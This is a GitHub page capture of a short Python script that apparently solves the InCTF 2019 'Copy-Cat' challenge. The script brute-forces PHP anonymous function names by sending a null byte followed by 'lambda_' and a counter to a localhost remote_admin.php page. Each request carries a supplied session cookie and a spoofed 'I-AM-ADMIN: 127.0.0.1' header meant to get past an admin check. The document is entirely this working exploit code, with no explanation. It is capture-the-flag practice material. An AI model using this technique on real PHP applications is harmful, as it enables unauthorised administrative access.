Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
14 lines (11 sloc) 367 Bytes
import requests
import sys
cookie = sys.argv[1]
counter = 0
while(1):
req=requests.get("http://localhost/Challenges/InCTF-2019/Copy-Cat/remote_admin.php?random=%00lambda_" + str(counter),cookies={'PHPSESSID':cookie},headers={'I-AM-ADMIN':'127.0.0.1'})
if(req.status_code==200):
print req.status_code
break
counter += 1
print counter
You can’t perform that action at this time.